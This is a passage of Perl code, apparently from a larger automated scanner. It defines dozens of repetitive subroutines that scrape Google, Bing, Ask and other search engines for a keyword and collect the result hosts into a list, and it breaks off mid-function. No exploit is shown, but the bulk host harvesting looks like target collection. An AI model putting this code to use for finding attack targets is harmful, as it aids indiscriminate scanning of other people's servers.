- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gau() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.au/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gro() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ro/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gru() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ru/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gsi() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.si/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gpt() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.pt/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gms() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=100; $i+=10){
- my $search = ("http://www.google.ms/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gbi() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.bi/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gas() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.as/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawi() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.it/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawia() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ca/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawib() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.de/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawic() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawid() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.hk/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawie() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.au/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawif() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ro/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawig() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ru/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawih() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.si/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawii() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.pt/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawij() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ms/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tawik() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.bi/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rediff() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=500; $i+=10) {
- my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
- $b = "$i";
- my $res = &search_engine_query($search);
- if ($res !~ /firstres=$b\'>/) {$i=500;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
- if ($1 !~ /rediff\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uol() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
- my $res = &search_engine_query($search);
- if ($res !~ m/<span class=\"next\">pr?xima<\/span>/){$i=500;}
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- if ($1 !~ /uol\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
- my $res = &search_engine_query($search);
- if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /bing\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingDE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingDE/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingUK() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingUK/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingCA() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingCA/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingBR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingBR/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingFR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingFR/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingES() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingES/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingIT() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingIT/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingBE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingBE/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingNL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingNL/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingPT() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingPT/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingNO() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingNO/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingDK() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingDK/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingSE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingSE/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingCH() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingCH/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingNZ() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingNZ/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingRU() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingRU/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingJP() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingJP/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingCN() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingCN/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingKR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingKR/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingMX() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingMX/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingAR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingAR/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingCL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingCL/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bingAU() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bingAU/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub altavista() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10){
- my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
- my $res = &search_engine_query($search);
- if ($res !~ /target=\"_self\">Succ/) {$i=500;}
- while ($res =~ m/<span class=ngrn>(.+?)\//g) {
- if ($1 !~ /altavista/){
- my $link = $1;
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ask() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
- my $res = &search_engine_query($search);
- if ($res !~ /Successiva/) {$i=50;}
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
- if ($1 !~ /ask\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- #################
- sub ask1() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://int.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /ask\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askCA() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://ca.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askCA\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askDE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://de.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askDE\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askIT() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://it.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askIT\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askUK() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://uk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askUK\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askFR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://fr.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askFR\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askES() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://es.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askES\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askRU() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://ru.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askRU\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askNL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://nl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askNL\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askPL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://pl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askPL\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askAT() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://at.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askAT\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askSE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://se.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askSE\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askDK() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://dk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askDK\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askNO() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://no.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askNO\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askAU() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://au.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askAU\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askBR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://br.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
